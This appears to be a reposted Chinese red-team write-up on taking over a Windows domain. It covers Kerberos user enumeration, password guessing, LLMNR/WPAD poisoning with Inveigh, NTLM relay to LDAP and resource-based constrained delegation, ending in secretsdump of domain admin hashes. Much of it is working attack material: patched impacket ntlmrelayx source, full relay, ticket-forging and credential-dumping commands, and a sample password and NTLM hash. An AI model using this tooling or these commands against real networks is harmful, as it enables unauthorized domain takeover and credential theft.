溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么利用中繼和委派

發(fā)布時間:2021-10-20 09:08:30 來源:億速云 閱讀:170 作者:iii 欄目:編程語言

這篇文章主要介紹“怎么利用中繼和委派”,在日常操作中,相信很多人在怎么利用中繼和委派問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”怎么利用中繼和委派”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!

0x01 背景

通過 VPN 撥入內(nèi)網(wǎng),根據(jù)下發(fā)路由和前期的探測發(fā)現(xiàn)目標內(nèi)網(wǎng)存在 10.10.1.0/24 、10.10.2.0/24 兩個活躍段。10.10.1.88 為域控制器。

0x02

根據(jù)前期的信息收集,活躍段中并沒有什么可以直接利用的點,整理手上的已有信息。目標內(nèi)網(wǎng)的機器主機名均為 ATTACK-TONY-PC ,猜測中間的字符串為用戶名,使用 Kerberos pre-auth 的特性驗證了我們的猜測,并收集所有主機名和 VPN 密碼做組合成功枚舉出了一組口令。具體用到的工具參考 滲透技巧——通過Kerberos pre-auth進行用戶枚舉和口令爆破

0x03

根據(jù)以往的經(jīng)驗,這種以用戶名為主機名的域,大概率會把域用戶添加到本地管理員組,找到用戶對應的機器,直接 wmic 試一下

wmic /node:10.10.1.96 /user:ATTACK\TONY /password:1qaz2wsx os get name

果然正確的返回的操作系統(tǒng)信息。繼續(xù)通過 wmic 獲取機器上的進程,

wmic /node:10.10.1.96 /user:ATTACK\TONY /password:1qaz2wsx process get name

根據(jù)機器上的防護軟件進行相應的免殺,落地二進制文件,上線到 CS。到此,我們獲取到了域內(nèi)的一個落腳點。不幸的是,這臺機器的主人貌似這是個邊緣人員,翻遍機器也沒有找到對我們用幫助的信息。本機的 500 用戶為空密碼。查看 LDAP 中的信息,幾乎整個域內(nèi)機器均為 win10,有少量幾臺 server 2016,當前我們處在 10.10.1.96,域管的位置在 10.10.2.66。繼續(xù)查看 LDAP 中的信息,其中有一個我們比較關注的點:大多數(shù)機器mS-DS-CreatorSID都是對應用戶的 SID,少部分機器的為mS-DS-CreatorSID同一用戶的 SID (網(wǎng)絡管理員)。也就是說域內(nèi)機器基本都是是用戶自己拉入域的,域用戶對他拉入的機器用戶有WriteProperty權限,可以操作機器用戶的msDS-AllowedToActOnBehalfOfOtherIdentity屬性。如果我們有了用戶的權限,就滿足了2個利用基于資源的約束委派的條件

能夠修改msDS-AllowedToActOnBehalfOfOtherIdentity屬性

有一個機器賬戶(這里說法其實不太準確,應該是需要一個具有SPN的賬戶,更詳細的說是需要一個賬戶的TGT就可以,機器賬戶滿足以上條件)

機器賬戶我們可以使用之前獲取到的機器ATTACK-TONY-PC$,那用戶權限又該從哪里獲取呢?

0x04 WPAD + NTLM 中繼 + 基于資源的約束委派

在開始前讓我們對涉及到的知識點做一個簡單的說明。(這里只是簡單的提一下,想要完全搞明白還需要自行深入學習各個知識點)

  • WPAD

    WPAD(Web Proxy Auto-Discovery Protocol)Web代理自動發(fā)現(xiàn)協(xié)議的簡稱,該協(xié)議的功能是可以使局域網(wǎng)中用戶的瀏覽器可以自動發(fā)現(xiàn)內(nèi)網(wǎng)中的代理服務器,并使用已發(fā)現(xiàn)的代理服務器連接互聯(lián)網(wǎng)或者企業(yè)內(nèi)網(wǎng)。當系統(tǒng)開啟了代理自動發(fā)現(xiàn)功能后,用戶使用瀏覽器上網(wǎng)時,瀏覽器就會在當前局域網(wǎng)中自動查找代理服務器,如果找到了代理服務器,則會從代理服務器中下載一個名為PAC(Proxy Auto-Config)的配置文件。該文件中定義了用戶在訪問一個 URL 時所應該使用的代理服務器。瀏覽器會下載并解析該文件,并將相應的代理服務器設置到用戶的瀏覽器中。在請求WPAD的過程中,如果服務端要求401認證,部分瀏覽器和應用將會自動用當前用戶憑證進行認證。

  • LLMNR,NBT-NS

    LLMNR 和 NBT-NS 均為名稱解析機制中用到的協(xié)議,在windows名稱解析過程中,大致的順序為DNS -> LLMNR -> NetBIOS。簡單的說DNS協(xié)議解析不到的地址,windows則會在當前網(wǎng)段域子網(wǎng)域發(fā)送廣播(LLMNR,NetBIOS)來請求地址解析,如果我們和目標機器在同一子網(wǎng)域則可以回復廣播,欺騙地址解析。

  • NTLM Ralay

    NTLM Relay

  • 基于資源的約束委派

    Windows Server 2012中引入了基于資源的約束委派?;谫Y源的約束委派允許資源配置受信任的帳戶委派給他們?;谫Y源的約束委派將委派的控制權交給擁有被訪問資源的管理員。

    域滲透——基于資源的約束委派利用

明白了上面這些知識后,我們就可以開始進行攻擊了,攻擊流程為:在當前網(wǎng)段進行投毒,通過WPAD欺騙,讓用戶來向我們進行NTLM認證,再將認證請求中繼到LDAP,因為用戶可以修改他拉入的機器的msDS-AllowedToActOnBehalfOfOtherIdentity屬性,我們對該屬性進行修以配置基于資源的約束委派,來拿到其主機的權限。

0x05 修改 impacket

impacket 目前只看到有從機器用戶中繼修改基于資源的約束委派的功能,對于我們這個攻擊流程,需要稍微修改一下。為了方便某些同學調(diào)試,我把修改過程放在這里,不想看可以直接跳過,文末有修改打包好的 impacket。

/impacket/examples/ntlmrelayx.py

添加options.user_delegate_access

c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.sid, options.user_delegate_access)

在參數(shù)處理的地方 添加

怎么利用中繼和委派

ldapoptions.add_argument('--user-delegate-access', action='store_true', required=False, help='Delegate access on relayed user account to the specified account')

/impacket/impacket/examples/ntlmrelayx/utils/config.py 中

修改函數(shù)setLDAPOptions,添加userdelegateaccess

def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, sid, userdelegateaccess):
self.dumpdomain = dumpdomain
self.addda = addda
self.aclattack = aclattack
self.validateprivs = validateprivs
self.escalateuser = escalateuser
self.addcomputer = addcomputer
self.delegateaccess = delegateaccess
self.dumplaps = dumplaps
self.dumpgmsa = dumpgmsa
self.sid = sid
self.userdelegateaccess = userdelegateaccess

/impacket/impacket/examples/ntlmrelayx/attacks/ldapattack.py

添加全局變量delegatePerformedUser

怎么利用中繼和委派

class LDAPAttack(ProtocolAttack):中 添加如下代碼

def MFdelegateAttack(self, usersam, targetsam, domainDumper, sid, ssid):
global delegatePerformedUser

if not usersam:
usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)
self.config.escalateuser = usersam

if not sid:
# Get escalate user sid
result = self.getUserInfo(domainDumper, usersam)
if not result:
LOG.error('User to escalate does not exist!')
return
escalate_sid = str(result[1]) # sid 
else:
escalate_sid = usersam

AttackList = self.getCreatorSID(domainDumper, ssid);
# LOG.debug(AttackList)
# LOG.debug(escalate_sid)
if AttackList is False:
LOG.info('Cannot find a computer with mS-DS-CreatorSID %s' % ssid)
return

LOG.info("Try to modifiy delegation rights")

for Attack in AttackList:
self.addDelegation(Attack[0], escalate_sid)

delegatePerformedUser.append(targetsam)

def addDelegation(self,target_dn,escalate_sid):
self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity','name'])
targetuser = None
for entry in self.client.response:
if entry['type'] != 'searchResEntry':
continue
targetuser = entry
if not targetuser:
LOG.error('Could not query target user properties')
return False

try:
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
LOG.debug('Currently allowed sids:')
for ace in sd['Dacl'].aces:
LOG.debug('    %s' % ace['Ace']['Sid'].formatCanonical())
except IndexError:
sd = create_empty_sd()

sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
if self.client.result['result'] == 0:
LOG.info('Delegation rights modified succesfully!')
LOG.info('%s can now impersonate users on %s via S4U2Proxy', self.config.escalateuser, targetuser['attributes']['name'])
return True
else:
if self.client.result['result'] == 50:
LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
elif self.client.result['result'] == 19:
LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
else:
LOG.error('The server returned an error: %s', self.client.result['message'])
return False

def userdelegateAttack(self, usersam, targetsam, domainDumper, sid):
global delegatePerformedUser
if targetsam in delegatePerformedUser:
LOG.info('Delegate attack already performed for this User: %s, skipping' % targetsam)
return

self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(targetsam), attributes=['objectSid', 'primaryGroupId'])

user = self.client.entries[0]
usersid = user['objectSid'].value

tmp_flag = self.getCreatorSID(domainDumper, usersid)
LOG.info('Try to find the computer with mS-DS-CreatorSID %s' % usersid)
if tmp_flag is not False:
for x in tmp_flag:
LOG.info('DN : %s SID : %s' % (x[0], x[1]))

self.MFdelegateAttack(usersam, targetsam, domainDumper, sid, usersid)

run函數(shù)中添加如下代碼

怎么利用中繼和委派

if self.config.userdelegateaccess:
self.userdelegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid)
return

重新安裝impacket

pip3 uninstall impacket;pip3 install .

用法

sudo python3 ./examples/ntlmrelayx.py -t ldap://192.168.1.63 --escalate-user=WIN10\$ --user-delegate-access
sudo python3 ./examples/ntlmrelayx.py -t ldaps://192.168.1.63 --user-delegate-access
0x06 完成攻擊鏈

為了避免不必要的意外,用本地測試環(huán)境來代替

namenote
Administer域管理員
rabbit普通域用戶
test普通域用戶
nameosipnote
DCserver2016192.168.1.63域控制器
WIN10windows10192.168.1.59個人PC,模擬我們在域內(nèi)拿下的那臺機器
WIN10-1windows10192.168.1.78個人PC,由用戶 ATTACT\TEST 拉入域,登錄用戶 ATTACT\TEST
WIN10-2windows10192.168.1.77個人PC,由用戶 ATTACT\TEST 拉入域,登錄用戶 ATTACT\TEST
kalikali192.168.1.79模擬外網(wǎng) vps

首先我們在WIN10這臺機器上開啟Inveigh來進行LLMNR/NBNS協(xié)議欺騙,這里我們只需要投毒的功能,所以只用C#版本的Inveigh就可以了,還可以配合csexecute-assembly來執(zhí)行以規(guī)避殺軟。欺騙的地址指向外網(wǎng)的vps,也就是當前環(huán)境中的kali

execute-assembly c:\windows\rabbit\tools\Inveigh.exe -SpooferIP 192.168.1.79

kali開啟 ntlmrelay.py 進行監(jiān)聽,指定相關攻擊的參數(shù)

sudo python3 ./examples/ntlmrelayx.py -t ldap://192.168.1.63 --escalate-user=WIN10\$ --user-delegate-access -debug

這里以chrome為例,當用戶ATTACK\TEST點擊chrome時,則會觸發(fā)我們的攻擊鏈,接管機器權限。

a03bb9d7f80559c87765c72cb3d53d1d.png

可以看到,我們以成功配置了WIN10$WIN10-1WIN10-2的基于資源的約束委派。接下來就可以申請高權的票據(jù)來訪問對應的服務了。

python3 getST.py -dc-ip 192.168.1.63 ATTACK/WIN10\$ -hashes aad3b435b51404eeaad3b435b51404ee:0c5082ca74c579d34d4de279a84ee44f -spn host/WIN10-2.attack.com -impersonate administrator

注入票據(jù)到當前上下文,并嘗試訪問,如圖所示,成功獲取到機器WIN10-2的權限。

怎么利用中繼和委派具體什么服務需要使用什么票據(jù),參考這里 How Attackers Use Kerberos Silver Tickets to Exploit Systems

Service TypeService Silver Tickets
WMIHOST,RPCSS
PowerShell RemotingHOST,HTTP(WSMAN,RPCSS)
WinRMHOST,HTTP
Scheduled TasksHOST
Windows File Share (CIFS)CIFS
LDAP operations including Mimikatz DCSyncLDAP
Windows Remote Server Administration ToolsRPCSS,LDAP,CIFS

舉個例子:

怎么利用中繼和委派以上就是整個攻擊鏈?;氐綄崙?zhàn)中,實戰(zhàn)中,我通過如上攻擊鏈定向(Inveigh 指定 SpooferIPsReply 參數(shù)對特定ip進行欺騙)的拿到了幾個開發(fā)權限,并從其中一臺機器上獲取了一臺 10.10.2.0/24 段上的機器權限,這樣我們就移動到與域管同一網(wǎng)段下,那我們可以繼續(xù)中繼域管的憑證到 LDAP 去修改添加特權到任意用戶。Inveigh指定 域管的ip。開啟 ntlmrelay 監(jiān)聽,指定攻擊 ldap 并且指定用戶。

execute-assembly c:\windows\rabbit\tools\Inveigh.exe -SpooferIPsReply 10.10.2.66  -SpooferIP VPS-IP
proxychains python3 ./examples/ntlmrelayx.py -t ldap://192.168.98.10 --escalate-user=rabbit

兩分鐘以后,域管請求了我們的 WPAD ,成功中繼到 ldap 并且賦予了我們指定用戶特權。(過程截圖仍由測試環(huán)境代替)

怎么利用中繼和委派怎么利用中繼和委派

接下來就是 secretsdump.py dump 域管 hash,接管域控了。至此,拿到整個域權限。

到此,關于“怎么利用中繼和委派”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續(xù)學習更多相關知識,請繼續(xù)關注億速云網(wǎng)站,小編會繼續(xù)努力為大家?guī)砀鄬嵱玫奈恼拢?/p>

向AI問一下細節(jié)
推薦閱讀:
  1. DHCP中繼
  2. DNS委派

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內(nèi)容。

AI